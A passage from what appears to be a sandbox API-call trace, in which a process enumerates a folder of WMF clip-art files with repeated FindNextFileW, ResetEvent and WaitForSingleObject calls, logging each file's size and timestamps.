(hEvent=0x2b8) returned 1 [0258.063] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.092] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0258.092] ResetEvent (hEvent=0x2b8) returned 1 [0258.093] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.103] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0258.104] ResetEvent (hEvent=0x2b8) returned 1 [0258.104] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.111] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0258.111] ResetEvent (hEvent=0x2b8) returned 1 [0258.111] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.120] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0258.120] ResetEvent (hEvent=0x2b8) returned 1 [0258.120] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.834] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0258.834] ResetEvent (hEvent=0x2b8) returned 1 [0258.834] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.838] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105292.WMF", cAlternateFileName="")) returned 1 [0258.838] ResetEvent (hEvent=0x2b8) returned 1 [0258.838] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.849] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105294.WMF", cAlternateFileName="")) returned 1 [0258.849] ResetEvent (hEvent=0x2b8) returned 1 [0258.849] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.857] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105298.WMF", cAlternateFileName="")) returned 1 [0258.857] ResetEvent (hEvent=0x2b8) returned 1 [0258.857] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.863] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105306.WMF", cAlternateFileName="")) returned 1 [0258.864] ResetEvent (hEvent=0x2b8) returned 1 [0258.864] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0258.869] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105320.WMF", cAlternateFileName="")) returned 1 [0258.869] ResetEvent (hEvent=0x2b8) returned 1 [0258.869] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0259.444] ResetEvent (hEvent=0x2b8) returned 1 [0259.444] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0259.445] ResetEvent (hEvent=0x2b8) returned 1 [0259.445] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.451] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe62b2d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0259.451] ResetEvent (hEvent=0x2b8) returned 1 [0259.451] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.459] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0259.460] ResetEvent (hEvent=0x2b8) returned 1 [0259.460] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.466] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0259.466] ResetEvent (hEvent=0x2b8) returned 1 [0259.466] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.469] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0259.469] ResetEvent (hEvent=0x2b8) returned 1 [0259.469] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.483] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe62b2d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe62b2d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0259.483] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0259.483] ResetEvent (hEvent=0x2b8) returned 1 [0259.483] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.497] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0259.497] ResetEvent (hEvent=0x2b8) returned 1 [0259.497] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.501] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0259.502] ResetEvent (hEvent=0x2b8) returned 1 [0259.502] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.515] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0259.515] ResetEvent (hEvent=0x2b8) returned 1 [0259.516] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.527] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0259.527] ResetEvent (hEvent=0x2b8) returned 1 [0259.528] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.534] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0259.534] ResetEvent (hEvent=0x2b8) returned 1 [0259.535] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.545] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0259.545] ResetEvent (hEvent=0x2b8) returned 1 [0259.545] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.552] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0259.552] ResetEvent (hEvent=0x2b8) returned 1 [0259.552] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.869] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0259.870] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0259.870] ResetEvent (hEvent=0x2b8) returned 1 [0259.870] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.884] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105412.WMF", cAlternateFileName="")) returned 1 [0259.884] ResetEvent (hEvent=0x2b8) returned 1 [0259.885] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.889] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1864, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105414.WMF", cAlternateFileName="")) returned 1 [0259.889] ResetEvent (hEvent=0x2b8) returned 1 [0259.889] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0259.899] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4928, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105490.WMF", cAlternateFileName="")) returned 1 [0259.899] ResetEvent (hEvent=0x2b8) returned 1 [0259.899] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.080] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0260.080] ResetEvent (hEvent=0x2b8) returned 1 [0260.080] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.086] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0260.086] ResetEvent (hEvent=0x2b8) returned 1 [0260.086] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.090] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe651537, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0260.090] ResetEvent (hEvent=0x2b8) returned 1 [0260.090] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.102] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0260.102] ResetEvent (hEvent=0x2b8) returned 1 [0260.102] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.377] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0260.378] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105526.WMF", cAlternateFileName="")) returned 1 [0260.378] ResetEvent (hEvent=0x2b8) returned 1 [0260.378] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.383] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe651537, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe651537, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe67776a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105530.WMF", cAlternateFileName="")) returned 1 [0260.383] ResetEvent (hEvent=0x2b8) returned 1 [0260.383] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe67776a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe69d9e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x542c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105588.WMF", cAlternateFileName="")) returned 1 [0260.395] ResetEvent (hEvent=0x2b8) returned 1 [0260.395] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0260.408] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe67776a, 